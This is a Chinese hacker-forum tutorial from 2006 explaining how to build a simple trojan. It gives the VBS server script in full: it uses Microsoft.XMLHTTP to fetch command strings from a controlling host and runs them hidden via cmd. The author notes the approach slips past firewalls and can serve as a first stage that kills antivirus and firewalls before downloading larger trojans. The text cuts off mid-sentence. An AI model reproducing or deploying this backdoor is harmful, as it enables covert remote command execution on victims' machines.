用XMLHttp和nc打造个性小马

[原创]用XMLHttp和nc打造个性小马文章标题:[原创]用XMLHttp和nc打造个性小马顶部 千寂孤城 发布于:2006-01-3015:07 [楼主][原创]用XMLHttp和nc打造个性

[原创]用XMLHttp和nc打造个性小马
文章标题:[原创]用XMLHttp和nc打造个性小马顶部 千寂孤城 发布于:2006-01-3015:07 [楼主][原创]用XMLHttp和nc打造个性小马
文章作者:千寂孤城
信息来源:邪恶八进制信息安全团队

注:本文已发表在2006年1月的《黑客X档案》杂志上,版权归其所有。转载请保留版权字样

在这么一个良驹满天飞的年代,养马养久了会产生了一种自己造个小马的冲动。今天闲来无事,于是我用Microsoft.XMLHTTP控件 NC打造了一只简易木马。本文叙述了我造马的探索过程,很菜的。
先说一下Microsoft.XMLHTTP控件。它是为支持XML而设计的对象,通过http协议访问网络,给网站发送http请求,可以是POST也可以是GET,也就是说相当于一个浏览器(正因为如此Microsoft.XMLHTTP也经常被用来写跨站漏洞利用程序和SQL注入程序)。该控件自windows98以来就一直是系统默认自带的控件,并且被系统认为是安全的!所以可以从一定程度上穿越防火墙。我的思路就是服务端利用Microsoft.XMLHTTP来从客户端获取要执行的命令,而客户端利用NC来伪装成web服务器提供数据给服务端的Microsoft.XMLHTTP。

一、服务端
要调用Microsoft.XMLHTTP的方法很多,由于是探索阶段,为了方便代码修改,我们用VBS脚本来实现。服务端ok.vbs的代码如下:


'OnErrorResumeNext 容错语句,出了错别打小报告
SetHttp=CreateObject("Microsoft.XMLHTTP")
SetShell=CreateObject("Wscript.Shell")
'Do
Http.Open"Get","http://127.0.0.1",False'这里本来是填客户端的ip,由于只是探索阶段,填了127.0.0.1。
Http.Send
a=Http.ResponseText '获得数据,这将作为要执行命令字符串
Wscript.Echoa '看看获得的是什么数据。这一句是调试用的,最后会删掉。
Shell.Run"cmd/c"&a,0 '这里是执行命令
'Wscript.Sleep1000 每秒钟循环一次
'Loop
'由于是探索阶段,容错语句和循环语句暂时注释掉


很简单吧?就是说向客户端发送请求,然后获得反馈信息,而这个反馈信息就是要执行的命令。这个过程每隔一秒重复一次。看起来很简陋吧?其实还是有点用处的,毕竟是自己写的。也可以用来充当先行兵:先杀掉防火墙和杀毒软件再配合ftp命令传送文件,运行大型木马。方正是搞着玩的。
多说一句,看到那个Http.ResponseText了吗?有很多人不知道有这个东西,只会用Http.ResponseBody获得信息(这样获得的数据是二进制的),然后又写个BinToStr函数来把数据转换成字符串,其实用Http.ResponseText就可以直接得到字符串型的数据。

二、客户端
如果你想用你的网页空间来控制对方的话,那就用不着NC了。比如我的空间是ht

标签: